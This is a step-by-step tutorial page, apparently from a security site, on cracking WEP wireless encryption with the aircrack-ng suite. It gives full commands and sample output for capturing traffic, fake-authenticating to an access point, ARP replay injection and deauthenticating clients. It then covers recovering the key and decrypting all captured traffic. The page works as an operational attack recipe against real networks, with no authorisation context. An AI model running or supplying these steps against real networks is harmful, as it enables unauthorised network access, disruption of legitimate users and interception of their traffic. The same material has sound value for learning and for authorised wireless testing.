Skip to content
HackIndex logo

HackIndex

WEP Cracking with Aircrack-ng

4 min read Mar 17, 2026

WEP key recovery requires collecting a sufficient number of initialisation vectors from data frames. With active clients on the network, passive capture may generate enough IVs within minutes. On quiet networks with few clients, ARP replay injection dramatically accelerates IV collection by replaying a valid ARP frame repeatedly, causing the AP to respond with a new encrypted frame each time and generating thousands of IVs per minute.

The full workflow is: capture to file with airodump-ng, optionally accelerate with ARP replay, then run aircrack-ng against the accumulated IVs.

Start Capture on the Target AP

Lock to the target BSSID and channel and write to a capture file. Keep this running throughout the entire attack:

┌──(kali㉿kali)-[~]
└─$ airodump-ng --bssid AA:BB:CC:DD:EE:FF --channel 6 --write wep-capture wlan0mon

Watch the #Data column. You need roughly 40,000 to 85,000 IVs for a reliable 40-bit WEP key crack and more for 128-bit. If the count is rising slowly, proceed with ARP replay injection in a second terminal.

Associate with the AP (Fake Authentication)

Before injecting frames, your adapter MAC must be associated with the AP or it will ignore injected frames. Use fake authentication to register without connecting:

┌──(kali㉿kali)-[~]
└─$ aireplay-ng -1 0 -a AA:BB:CC:DD:EE:FF -h $(iw dev wlan0mon info | grep addr | awk '{print $2}') wlan0mon 
18:32:12  Sending Authentication Request (Open System)
18:32:12  Authentication successful
18:32:12  Sending Association Request
18:32:12  Association successful :-)

If the AP uses Shared Key Authentication (SKA), fake authentication requires capturing the keystream first. Use -1 0 -e ESSID to specify the SSID explicitly if the AP requires it. Some APs drop the fake association after a short idle period — add -o 1 -q 10 to send keep-alive packets every 10 seconds.

ARP Replay Injection

Wait for a valid ARP packet from a legitimate client — aireplay-ng captures it automatically and begins replaying it:

┌──(kali㉿kali)-[~]
└─$ aireplay-ng -3 -b AA:BB:CC:DD:EE:FF -h $(iw dev wlan0mon info | grep addr | awk '{print $2}') wlan0mon 
Saving ARP requests in replay_arp-0306-183212.cap
You should also start airodump-ng to capture replies.
Read 1942 packets (got 1 ARP requests and 0 ACKs), sent 1284 packets...(499 pps)

Once aireplay-ng captures an ARP request, the sent packets counter climbs rapidly and the #Data counter in airodump-ng rises in parallel. The AP responds to each replayed ARP with a new encrypted frame, each containing a unique IV. At 400-500 packets per second, 85,000 IVs accumulate in around 3 minutes.

If no ARP packet is captured after a few minutes, deauthenticate a client briefly to force it to reconnect and send an ARP — run in a separate terminal:

┌──(kali㉿kali)-[~]
└─$ aireplay-ng -0 3 -a AA:BB:CC:DD:EE:FF -c CC:DD:EE:FF:AA:BB wlan0mon

Crack the Key with aircrack-ng

Run aircrack-ng against the capture file at any point. It can run while airodump-ng is still collecting — it will indicate how many IVs it found and whether the count is sufficient:

┌──(kali㉿kali)-[~]
└─$ aircrack-ng -b AA:BB:CC:DD:EE:FF wep-capture-01.cap 
Opening wep-capture-01.cap
Read 94831 packets.

   #  BSSID              ESSID                     Encryption

   1  AA:BB:CC:DD:EE:FF  TargetNetwork             WEP (94831 IVs)

Chooking PTW attack with 94831 packets...

                         KEY FOUND! [ AB:CD:EF:12:34 ]
Decrypted correctly: 100%

The key is displayed in hex. If aircrack-ng reports not enough IVs, continue collecting and re-run. With 40,000 IVs there is roughly a 50% success rate. At 85,000 the success rate exceeds 95%.

Decrypt the Capture with airdecap-ng

Once the key is recovered, decrypt the full capture file to read all traffic:

┌──(kali㉿kali)-[~]
└─$ airdecap-ng -w ABCDEF1234 -b AA:BB:CC:DD:EE:FF wep-capture-01.cap

Replace ABCDEF1234 with the recovered key without colons. The output file wep-capture-01-dec.cap contains all decrypted frames as standard Layer 3 traffic readable in Wireshark.

References